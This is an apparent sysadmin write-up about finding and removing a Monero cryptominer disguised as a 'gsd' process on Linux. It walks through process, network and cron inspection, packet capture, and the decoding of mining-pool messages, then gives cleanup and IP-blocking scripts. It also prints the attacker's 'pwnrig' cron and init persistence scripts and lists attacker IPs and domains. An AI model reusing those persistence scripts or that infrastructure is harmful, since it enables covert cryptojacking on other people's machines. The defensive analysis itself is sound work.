High CPU Usage from “gsd” Learn to Detect Crypto Mining Attacks

Symptoms

Newly started processes or existing ones were abruptly terminated with no logs, displaying only Killed.
Observed the suspicious gsd process consuming 100% CPU on half or all cores.

Debugging Process

1. Process and Service Inspection

Check running processes

ps -ef | grep gsd

ps -ef | grep gsd
...
gdm         2773    2413  0  9월20 tty1   00:00:00 /usr/libexec/gsd-a11y-settings
gdm         2777    2413  0  9월20 tty1   02:39:58 /usr/libexec/gsd-housekeeping
gdm         2784    2413  0  9월20 tty1   00:00:00 /usr/libexec/gsd-power
gdm         2881       1  0  9월20 tty1   00:00:00 /usr/libexec/gsd-printer
root      107479       1 99 03:37 ?        25-02:05:11 gsd

Verified PIDs with:

pgrep gsd

pgrep gsd
2751
2754
2755
2756
2758
2759
2762
2764
2765
2768
2771
2773
2777
2784
2881
107479 #<- This is main process

investigate process details:

lsof -p <PID>
ls -l /proc/<PID>/exe
cd /proc/<PID>

lsof shows some http or ip at lastline

gsd     107479 root   12r      CHR        1,3      0t0          6 /dev/null
gsd     107479 root   13u     IPv4 1038782489      0t0        TCP [your-hostname]:58460->
lowerbills.online:http 
(ESTABLISHED)

gsd     894343 root   13u     IPv4 3165842874      0t0        TCP [your-hostname]->161.152.194.104.static.cloudzy.com:3333 (ESTABLISHED)

ls -al
total 0
dr-xr-xr-x    9 root root 0 12월 23 03:37 .
dr-xr-xr-x 1710 root root 0  9월 20 23:02 ..
-r--r--r--    1 root root 0 12월 23 07:10 arch_status
dr-xr-xr-x    2 root root 0 12월 23 07:10 attr
-rw-r--r--    1 root root 0 12월 23 07:10 autogroup
-r--------    1 root root 0 12월 23 07:10 auxv
-r--r--r--    1 root root 0 12월 23 07:10 cgroup
--w-------    1 root root 0 12월 23 07:10 clear_refs
-r--r--r--    1 root root 0 12월 23 03:37 cmdline
-rw-r--r--    1 root root 0 12월 23 07:10 comm
-rw-r--r--    1 root root 0 12월 23 07:10 coredump_filter
-r--r--r--    1 root root 0 12월 23 07:10 cpuset
lrwxrwxrwx    1 root root 0 12월 23 07:10 cwd -> /
-r--------    1 root root 0 12월 23 07:10 environ
lrwxrwxrwx    1 root root 0 12월 23 07:10 exe -> '/usr/bin/gsd (deleted)' # 
dr-x------    2 root root 0 12월 23 07:10 fd
dr-x------    2 root root 0 12월 23 07:10 fdinfo
-rw-r--r--    1 root root 0 12월 23 07:10 gid_map
-r--------    1 root root 0 12월 23 07:10 io
-r--r--r--    1 root root 0 12월 23 07:10 limits
-rw-r--r--    1 root root 0 12월 23 07:10 loginuid
dr-x------    2 root root 0 12월 23 07:10 map_files
-r--r--r--    1 root root 0 12월 23 07:10 maps
-rw-------    1 root root 0 12월 23 07:10 mem
-r--r--r--    1 root root 0 12월 23 07:10 mountinfo
-r--r--r--    1 root root 0 12월 23 07:10 mounts
-r--------    1 root root 0 12월 23 07:10 mountstats
dr-xr-xr-x   60 root root 0 12월 23 07:10 net
dr-x--x--x    2 root root 0 12월 23 07:10 ns
-r--r--r--    1 root root 0 12월 23 07:10 numa_maps
-rw-r--r--    1 root root 0 12월 23 07:10 oom_adj
-r--r--r--    1 root root 0 12월 23 07:10 oom_score
-rw-r--r--    1 root root 0 12월 23 07:10 oom_score_adj
-r--------    1 root root 0 12월 23 07:10 pagemap
-r--------    1 root root 0 12월 23 07:10 patch_state
-r--------    1 root root 0 12월 23 07:10 personality
-rw-r--r--    1 root root 0 12월 23 07:10 projid_map
lrwxrwxrwx    1 root root 0 12월 23 07:10 root -> /
-rw-r--r--    1 root root 0 12월 23 07:10 sched
-r--r--r--    1 root root 0 12월 23 07:10 schedstat
-r--r--r--    1 root root 0 12월 23 07:10 sessionid
-rw-r--r--    1 root root 0 12월 23 07:10 setgroups
-r--r--r--    1 root root 0 12월 23 07:10 smaps
-r--r--r--    1 root root 0 12월 23 07:10 smaps_rollup
-r--------    1 root root 0 12월 23 07:10 stack
-r--r--r--    1 root root 0 12월 23 03:37 stat
-r--r--r--    1 root root 0 12월 23 03:38 statm
-r--r--r--    1 root root 0 12월 23 03:37 status
-r--------    1 root root 0 12월 23 07:10 syscall
dr-xr-xr-x   50 root root 0 12월 23 07:10 task
-r--r--r--    1 root root 0 12월 23 07:10 timers
-rw-rw-rw-    1 root root 0 12월 23 07:10 timerslack_ns
-rw-r--r--    1 root root 0 12월 23 07:10 uid_map
-r--r--r--    1 root root 0 12월 23 07:10 wchan

inspecting process directory

cd /proc/<PID>

cd /proc/107479
ls
arch_status  auxv        cmdline          cpuset   exe     gid_map  loginuid   mem        mountstats  numa_maps  oom_score_adj  personality  sched      setgroups     stack  status   timers         wchan
attr         cgroup      comm             cwd      fd      io       map_files  mountinfo  net         oom_adj    pagemap        projid_map   schedstat  smaps         stat   syscall  timerslack_ns
autogroup    clear_refs  coredump_filter  environ  fdinfo  limits   maps       mounts     ns          oom_score  patch_state    root         sessionid  smaps_rollup  statm  task     uid_map

cat cmdline
gsd

2. Network Activity

Identified network activity pointing to external servers:

netstat -tulnp | grep <PID>
# -> It does not show usually

sudo ss -tup | grep gsd

tcp      ESTAB       0          2568                   [YourIP]          
103.195.5.148:http  #<- This is destination     
                           users:(("gsd",pid=107479,fd=13))

3. System Inspection

Checked the /usr/bin directory for unusual binaries:

ls -l /usr/bin | grep gsd

ls -l /usr/bin | grep gsd
-rwxr-xr-x 1 root root      2365568 12월 23 19:17 gsd

Verified package integrity:

sudo dpkg -S /usr/bin/gsd

4. Cron Jobs

Detected malicious cron jobs potentially relaunching the gsd process:

crontab -l

sudo ls -l /etc/cron* | grep pwnrig

crontab -l
* * * * * /usr/local/src/.gsd/gsd

udo ls -l /etc/cron* | grep pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root  133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
-rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig

5. Inspect, Investigate “pwnrig”

find / -name "xmrig" -o -name "pwnrig"

/etc/cron.monthly/pwnrig
/etc/cron.daily/pwnrig
/etc/cron.d/pwnrig
/etc/cron.weekly/pwnrig
/etc/cron.hourly/pwnrig
/etc/init.d/pwnrig

cat /etc/cron.d/pwnrig

It is running gsd continuously

#!/bin/bash
cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c  -k >/dev/null 2>&1
rm -rf -- gsd 2>/dev/null

I try deleting cron pwnrig cron

/proc/107479# rm -rf /etc/cron.monthly/pwnrig
rm: cannot remove '/etc/cron.monthly/pwnrig': Operation not permitted

Need to check file attribute

lsattr /etc/cron.monthly/pwnrig
----ia--------e----- /etc/cron.monthly/pwnrig

i (immutable):

This attribute makes the file immutable. It cannot be modified, deleted, or renamed, and no link can be created to this file. Even root cannot delete or modify the file without removing this attribute first.
a (append-only):

This attribute allows only data to be appended to the file. It cannot be overwritten or truncated.
e (extent format):

This attribute indicates that the file is using extents for mapping the blocks on disk. It is typical for files on an ext4 file system and not inherently malicious.
change attribute to delete

sudo chattr -i -a /etc/cron.monthly/pwnrig

lsattr /etc/cron.monthly/pwnrig
--------------e----- /etc/cron.monthly/pwnrig

Try delete cron and success

rm -rf /etc/cron.monthly/pwnrig
-> success

Check crontab

crontab -e

* * * * * /usr/local/src/.gsd/gsd #<- it is running too 
# delete above by Nano or Vim editor

Key Findings

1. Suspicious Network Connection

A command revealed the gsd process was sending data to a server at cloudz with IP address and DNS 212.73.150.237, 104.194.152.161, lowerbills.online:http ... This indicated unauthorized activity

lsof -p <PID>

2. Presence of `pwnrig`

Further investigation uncovered a file named pwnrig in /etc/cron.d and associated services:

/etc/systemd/system/pwnrig.service or pwnrige.service
/etc/init.d/pwnrig

#!/bin/bash
cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c  -ip 212.73.150.237 >/dev/null 2>&1
rm -rf -- gsd 2>/dev/null

#!/bin/bash
### BEGIN INIT INFO
# Provides:          pwnrig
# Required-Start:
# Required-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:
# Short-Description: pwnrig (by pwned)
### END INIT INFO
cp -f -r -- /bin/initdr /bin/gsd 2>/dev/null
cd /bin 2>/dev/null
./gsd -c  -k 2>/dev/null
rm -rf -- gsd 2>/dev/null

These scripts were designed to replicate the gsd process and establish persistent unauthorized connections.

3. So.. what is it doing? (Can I know?)

capture with tcpdump

sudo tcpdump -i [your ethernet (eth0..or ens..)] host [hacker's destination, 104.194.152.161] -w suspicious_traffic.pcap
36492 packets received by filter

sudo tcpdump -i ens2 host 103.195.5.148 -w suspicious_traffic.pcap -c 100
tcpdump: listening on ens2, link-type EN10MB (Ethernet), capture size 262144 bytes
100 packets captured
198 packets received by filter
0 packets dropped by kernel

read with tcpdump

sudo tcpdump -A -r suspicious_traffic.pcap
reading from file suspicious_traffic.pcap, link-type EN10MB (Ethernet)
20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [.], ack 3960277878, win 1239, options [nop,nop,TS val 2820646330 ecr 3293583544], length 0
E..4..@.4.{.g.....
;.P.C.jv....v.....b.....
.....P..
20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 0:70, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP
E..z..@.4.{qg.....
;.P.C.jv....v...........
.....P..{"id":11759118,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}

20:31:39.608020 IP [your-host-name].51267 > lowerbills.online.http: Flags [.], ack 70, win 9768, options [nop,nop,TS val 3293583628 ecr 2820646331], length 0
E..4].@.@..q..
;g....C.P.....jw*..&(8a.....
.P......
20:31:39.608091 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 70:140, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP
E..z..@.4.{pg.....
;.P.C.jw*...v...........
.....P..{"id":11759119,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}

read with wireshark (tshark for cli)

tshark -i <interface> -f "host 104.194.152.161" -w suspicious.pcap

tshark -r suspicious.pcap --export-objects http,out_dir/

39481 56.448810797 <host-ip> → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457171 Ack=1115422 Win=3979 Len=214 TSval=2280409611 TSecr=3539830040
39482 56.449400532 104.194.152.161 → <host-ip> TCP 135 3333 → 4257 [PSH, ACK] Seq=1115422 Ack=3451393 Win=535 Len=69 TSval=3539830042 TSecr=2280409537
39483 56.449479681 <host-ip> → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457385 Ack=1115491 Win=3979 Len=214 TSval=2280409612 TSecr=3539830042
39484 56.451293755 <host-ip> → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457599 Ack=1115491 Win=3979 Len=214 TSval=2280409614 TSecr=3539830042
39485 56.451824885 104.194.152.161 → <host-ip> TCP 135 3333 → 4257 [PSH, ACK] Seq=1115491 Ack=3451607 Win=535 Len=69 TSval=3539830044 TSecr=2280409540
39486 56.452963333 <host-ip> → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457813 Ack=1115560 Win=3979 Len=214 TSval=2280409616 TSecr=3539830044
...

tshark -r suspicious.pcap -T fields -e data

f6e6365223a226135393631333663222c22726573756c74223a2237323061353432653739613966313635613162306538623834613263616362613230663939356532336232306131356439376434616131333338663330353030222c22616c676f223a2272782f30227d7d0a
7b226964223a333332383632312c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a
7b226964223a333332383634392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135313634353938222c226e6f6e6365223a223633313630333663222c22726573756c74223a2230303661313430323237636261643165663136363534653431653431653236303136616662306232353034363831653665613633646238373030663332373032222c22616c676f223a2272782f30227d7d0a

decode?

import binascii
import json

# Encoded Hexadecimal data
hex_data = """
7b226964223a333334343432352c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a
7b226964223a333334343434392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135323932393138222c226e6f6e6365223a223132303230303663222c22726573756c74223a2262616237616461613665336133643365646236343561653636623263326633353066363163363837303364383966396138616163613032623161343261373030222c22616c676f223a2272782f30227d7d0a
"""

# Split lines and decode each one
for line in hex_data.strip().split('\n'):
    try:
        decoded_line = binascii.unhexlify(line).decode('utf-8')
        json_data = json.loads(decoded_line)
        print(json.dumps(json_data, indent=4))
    except Exception as e:
        print(f"Failed to decode: {e}")

python3 decode.py
{
    "id": 3344425,
    "jsonrpc": "2.0",
    "error": null,
    "result": {
        "status": "OK"
    }
}
{
    "id": 3344449,
    "jsonrpc": "2.0",
    "method": "submit",
    "params": {
        "id": "9b6db78c190f7e50",
        "job_id": "115292918",
        "nonce": "1202006c",
        "result": "bab7adaa6e3a3d3edb645ae66b2c2f350f61c68703d89f9a8aaca02b1a42a700",
        "algo": "rx/0"
    }
}

method: "submit": This message represents a task submission to the server.
params****:
- id****: A unique identifier for the mining software.
- job_id****: The task ID assigned by the server.
- nonce****: A nonce value used in cryptocurrency mining to generate a hash that satisfies specific conditions through multiple attempts.
- result****: The result of the task (hash value). If this value meets certain conditions (e.g., difficulty level), it is recognized as a valid block.
- algo****: The algorithm used. rx/0 represents the RandomX algorithm, commonly used in cryptocurrencies like Monero.

Meaning:

This indicates that the client (gsd process) is sending the results of a mining task (hash value) to the server.

Solution

step-1 : change attr and delete files

#!/bin/bash

# related files
FILES=(
  "/etc/systemd/system/pwnrige.service"
  "/etc/systemd/system/multi-user.target.wants/pwnrige.service"
  "/etc/systemd/system/multi-user.target.wants/pwnrigl.service"
  "/etc/init.d/pwnrig"
  "/etc/cron.d/pwnrig"
  "/etc/cron.daily/pwnrig"
  "/etc/cron.hourly/pwnrig"
  "/etc/cron.weekly/pwnrig"
  "/etc/cron.monthly/pwnrig"
  "/bin/sysdr"
  "/bin/gsd"
)

echo "[INFO] Removing files and directories..."
for FILE in "${FILES[@]}"; do
  if [ -e "$FILE" ]; then
    chattr -i -a "$FILE" 2>/dev/null
    rm -rf "$FILE" 2>/dev/null
    echo "[INFO] File $FILE removed."
  else
    echo "[INFO] File $FILE not found."
  fi
done

step-2 : stop and delete systemd services

#!/bin/bash

SERVICES=(
  "pwnrige.service"
  "pwnrigl.service"
)

echo "[INFO] Stopping and disabling systemd services..."
for SERVICE in "${SERVICES[@]}"; do
  if systemctl list-units --full -all | grep -q "$SERVICE"; then
    systemctl stop "$SERVICE" 2>/dev/null
    systemctl disable "$SERVICE" 2>/dev/null
    echo "[INFO] Service $SERVICE stopped and disabled."
  else
    echo "[INFO] Service $SERVICE not found."
  fi
done

# reload daemon
echo "[INFO] Reloading systemctl daemon..."
systemctl daemon-reload

step-3 : kill process

#!/bin/bash

PROCESS_NAMES=(
  "pwnrig"
  "gsd"
)

echo "[INFO] Killing running processes..."
for PROC_NAME in "${PROCESS_NAMES[@]}"; do
  while pgrep "$PROC_NAME" > /dev/null; do
    pkill -9 "$PROC_NAME"
    echo "[INFO] Process $PROC_NAME terminated."
    sleep 1
  done
done

step-4 : block IP

#!/bin/bash

BLOCKED_IPS=(
  "212.73.150.237"
  "161.152.194.104"
  "104.194.152.161"
)

echo "[INFO] Blocking malicious IPs..."
for IP in "${BLOCKED_IPS[@]}"; do
  ufw deny out to "$IP" 2>/dev/null
  iptables -A OUTPUT -d "$IP" -j DROP 2>/dev/null
  echo "[INFO] Blocked IP $IP."
done

# UFW 설정 적용
echo "[INFO] Reloading UFW..."
ufw reload 2>/dev/null

step-5 (optional) enable and setup ufw

#!/bin/bash

echo "[INFO] Configuring UFW settings..."
ufw default deny incoming 2>/dev/null
ufw default allow outgoing 2>/dev/null

ufw allow ssh 2>/dev/null
echo "[INFO] SSH port allowed in UFW."

ufw enable 2>/dev/null
echo "[INFO] UFW enabled with SSH allowed."

step-6 check crontab -e again (delete if exists)

Create above code as [name].sh and run

chmod +x *.sh

./files.sh 
./systemctl.sh
./process.sh
./block.sh

pgrep gsd
 # empty!

Recommend Final Step: OS Reinstallation

To ensure complete removal of the malware, reinstalled the operating system and restored from a clean backup.